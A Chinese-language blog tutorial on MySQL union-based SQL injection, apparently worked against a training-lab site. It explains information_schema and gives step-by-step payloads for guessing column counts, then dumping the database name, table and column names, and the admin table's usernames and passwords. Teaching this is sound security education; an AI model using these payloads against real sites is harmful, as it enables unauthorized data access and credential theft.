SQL注入-联合查询注入
——鲁迅曾经说过:“有数据库的地方就有SQL注入”
联合查询注入
首先收集信息分析猜测数据库类型,根据不同的数据库类型选择不同的思路。
以MySQL数据库为例:
database():当前网站使用的数据库
user():当前用户
version():当前MySQL版本
eg : mysql5.0以及5.0以上的版本都存在一个系统自带的系统数据库,叫做:information_schema,而5.0以下的版本不存在。information_schema下面又包含了这几张表:schemata、tables、columns。这三张表依次分别存放着字段:(schema_name)、(table_name、table_schema)、(table_schema、table_name、column_name),其次就是5.0以上都是多用户,5.0以下是单用户。
所以一旦判断出数据库版本在5.0以上,我们就可以根据information_schema数据库中的信息,进行数据爆破,获取任意表信息。
1 | [select](http://pu2lh35s.ia.aqlab.cn/index.php?id=1) |
根据信息收据到的可注入点的代码可以进行联合查询
黑盒:
首先找到可控变量:?ID=xxx
1、order by xxx(猜列)
- 2正常,3报错,所以是两列。
3、select union 1,2
1 | http://pu2lh35s.ia.aqlab.cn/index.php?id=1%20and%201=2%20union%20select%201,2 |
爆出2
在第二个数插入想要查找的值对应代码
1 | and 1=2 union select 1,database() |
显示数据库名称 XXX
4、MySQL数据库版本大于5.0
爆出的数据库名
1 | ?id=20 union select 1,database()# |
爆表名
1 | ?id=20 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# |
爆列字段名
1 | ?id=20 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'# |
爆字段对应的值
1 | ?id=20 union select 1,group_concat(username,0x3a,password) from admin# |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 💫YaaBlog!